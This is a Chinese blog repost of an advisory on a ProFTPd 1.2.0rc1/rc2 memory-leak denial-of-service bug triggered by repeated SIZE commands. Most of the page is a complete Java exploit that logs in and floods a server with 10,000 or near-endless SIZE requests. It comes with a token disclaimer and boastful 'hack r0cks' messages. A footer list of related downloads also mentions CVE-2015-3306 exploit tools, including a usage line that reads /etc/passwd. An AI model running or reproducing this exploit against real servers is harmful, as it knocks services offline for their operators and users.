`
izuoyan
  • 浏览: 8934487 次
  • 性别: Icon_minigender_1
  • 来自: 上海
社区版块
存档分类
最新评论

ProFTPd 远程拒绝服务漏洞 (APP,缺陷)

阅读更多
涉及程序:
ProFTPd

描述:
ProFTPd 内存泄露引起拒绝服务攻击

详细:
ProFTPd 是一款非常流行的 FTP 服务器。发现它存在一个安全漏洞,允许恶意用户对它进行拒绝服务攻击。

当 ProFTPd 执行 SIZE FTP 命令时会引起内存泄露漏洞,如果发送大约5000次 SIZE FTP 命令到服务器中可能引起 ProFTPd 耗费超过300KB的内存。如果发送更多的SIZE 命令将引起拒绝服务攻击。


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


*/


import java.net.*;
import java.io.*;


class TCPconnection {


 public TCPconnection (String hostname, int portnumber) throws Exception {
 Socket s = doaSocket(hostname, portnumber);
 br = new BufferedReader (new InputStreamReader (s.getInputStream()));
 ps = new PrintStream (s.getOutputStream());
 }


 public String readLine() throws Exception {
 String s;
 try { s = br.readLine(); }
 catch (IOException ioe) {
 System.out.println("TCP Error ... it's a little hax0r exception ;-)");
 throw new Exception ("\nInput Error: I/O Error");
  }
 return s;
 }


 public void println(String s) {
  ps.println(s);
 }


 private Socket doaSocket(String hostname, int portnumber) throws Exception {
 Socket s = null;
 int attempts = 0;
 while (s == null && attempts<maxattempts) {
 try { s = new Socket(hostname, portnumber); }
 catch (UnknownHostException uhe) {
 System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");
 throw new Exception("\nConnection Error: " + "unknown hostname");
 }
 catch (IOException ioe) {
 System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
 }
 attempts++;
 }
 if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ...");
 else return s; }
 private final int maxattempts = 5;
 private BufferedReader br;
 private PrintStream ps;


 }


class proftpDoS {


 public static void main(String[] arg) throws Exception {
 InputStreamReader isr;
 BufferedReader tcld;
 String hostnamez, username, password, file, s1, option;
 int i, j, k;
 isr = new InputStreamReader(System.in);
 tcld = new BufferedReader(isr);
 System.out.println("ProFTPd DoS by JeT-Li -The Wushu Master-");
 System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
 hostnamez = "";
 while (hostnamez.length()==0) {
 System.out.print("Please enter the hostname/IP: ");
 hostnamez = tcld.readLine(); }
 username = "";
 while (username.length()==0) {
 System.out.print("Enter the username: ");
 username = tcld.readLine(); }
 password = "";
 while (password.length()==0) {
 System.out.print("Enter the password for that username: ");
 password = tcld.readLine(); }
 file = "";
 while (file.length()==0) {
 System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
 file = tcld.readLine(); }
 System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
 System.out.println("1) Request 10000 size's to the server (it may be enough)");
 System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
 System.out.print("Option: ");
 option = tcld.readLine();
 k = Integer.parseInt(option);
 while (!(k==1 || k==2)) {
 System.out.print("Option not valid, please try again: ");
 option = tcld.readLine();
 k = Integer.parseInt(option); }
 TCPconnection tc = new TCPconnection(hostnamez, 21);
 tc.println("user " + username);
 tc.println("pass " + password);
 if (k==1) {
  for(i=0;i<10000;i++)
  tc.println("size " + file); }
 else if (k==2) {
 for(i=1;i<100;i++)
  for(j=2;j<((int)Math.pow(j,i ));j++)
    tc.println("size " + file); }
 tc.println("quit");
 s1 = tc.readLine();
 while (s1!=null) {
 s1 = tc.readLine();
 System.out.println("Attack completed ... as one of my friends says:");
 System.out.println("Hack just r0cks ;-)");
 }
 }
}

受影响的系统:
ProFTPd 1.2.0rc1
ProFTPd 1.2.0rc2 

解决方案:
CNNS 为您提供完善的网络安全服务。
分享到:
评论

相关推荐

    cpx_proftpd:漏洞利用工具 CVE-2015-3306

    cpx_proftpd Daniel Aldana 针对漏洞利用的 PoC。 Vadim Melihow 报告的错误。 ###方法1: 用法: python cpx_proftp.py &lt;IP&gt; &lt;REMOTE&gt; 前任: python cpx_proftp.py 127.0.0.1 /etc/passwd /var/...

    proftpd LINUX-FTP服务包

    架设LINUX-FTP服务的压缩包proftpd,具体安装方式网上有

    proftpd.tar.gz

    proftpd服务工具,解压后进入proftpd目录,运行 sh init.sh 脚本,输入登陆FTP的密码(用户名为当前登陆的用户名,不能使用root用户)确认默认的8021端口是否被占用,如果占用,修改 etc/proftpd.conf配置里的端口号,...

    proftpd1.2 linux下的ftp服务器软件(红帽子rpm)

    proftpd1.2 linux下的ftp服务器软件,安装后可以用作ftp服务器使用,此服务器较为流行,安全性好,配置和apache的配置类似,只要更改相应的配置文件就可以进行配置

    proftpd 1.3.2 for linux

    proftpd 1.3.2 for linux complie ./configure make make install

    ProFtpd 配置

    教会你怎么利用ProFtpd服务(FTP)

    proftpd 一键安装

    proftpd 一键安装

    ProFTPD v1.3.4rc2.zip

    ProFTPD的原创者本身就曾经花非常多的时间寻找wu-ftpd 的漏洞加以改进并且增加许多功能。然而十分不幸的是,他很快地发现显然wu-ftpd需要全部重新的改写才能补足欠缺的设定能力以及缺乏的一些功能。ProFTPD不是从...

    proftpd安装.rar

    centos7.9安装编proftpd,带配置文件,添加虚拟用户,配置用户目录权限

    proftpd 简介

    proftpd是一款开放源码的ftp服务器软件,它是原来世界范围使用最广泛的wu-ftpd的改进版,它修正了wu-ftpd的许多缺陷,在许多方面进行了重大的改进,其中一个重要变化就是它学习了Apache 的配置方式,使proftpd的配置...

    centos7下proftpd+mysql安装配置.zip

    proftpd全称:Professional FTP daemon,是针对Wu-FTP的弱项而开发的,除了改进的安全性,还具备许多Wu-FTP没有的特点,能以Stand-alone、xinetd模式运行等。ProFTP已经成为继Wu-FTP之后最为流行的FTP服务器软件,...

    Linux下配置FTP服务(Proftpd)

    实现以下功能 1.配置FTP服务器,能够实现要求的功能; a.限制用户上传的速率为30K/s; b.... c....d.ftp用户只能上传,不能下载,不能删除,不能改名字。...e.teacher用户具有各种功能(下载,上传,删除,改名等);

    Linux Apache+Proftpd构建虚拟主机时要注意的几个安全问题

    Linux下Apache+Proftpd构建虚拟主机时要注意的几个安全问题,大家可以参考下,有其它未完整的地方,大家可以补充下。

    proftpd1.3.2.tar.bz2

    proftpd1.3.2.tar.bz2 proftpd1.3.2.tar.bz2 用于linux下建立ftp服务

    Linux系统proftpd配置

    提供Linux系统下proftp安装,配置。

    proftpd支持mysql和quota配额

    proftpd支持mysql和quota配额

    propane:利用 proftpd 中的任意文件写入错误 (CVE-2015-3306) 尝试执行代码

    丙烷 利用 ProFTPD 的 mod_copy 模块 (CVE-2015-3306) 中的任意文件写入错误并尝试执行代码。

    proftpd使用教程

    proftpd 使用 方法,很有用的。linux环境下的。

    proftpd:ProFTPD源代码

    ProFTPD在许多服务提供商中很受欢迎,因为它们提供对用户网页的更新访问,而无需使用Unix Shell帐户。 最新发布的 ftp://ftp.proftpd.org/distrib/source/ 有关此版本中更改的概述,请参见RELEASE_NOTES 。 主要...

    proftpd-1.2.10rc1.tar.gz

    proftpd-1.2.10rc1.tar.gz proftpd-1.2.10rc1.tar.gz proftpd-1.2.10rc1.tar.gz

Global site tag (gtag.js) - Google Analytics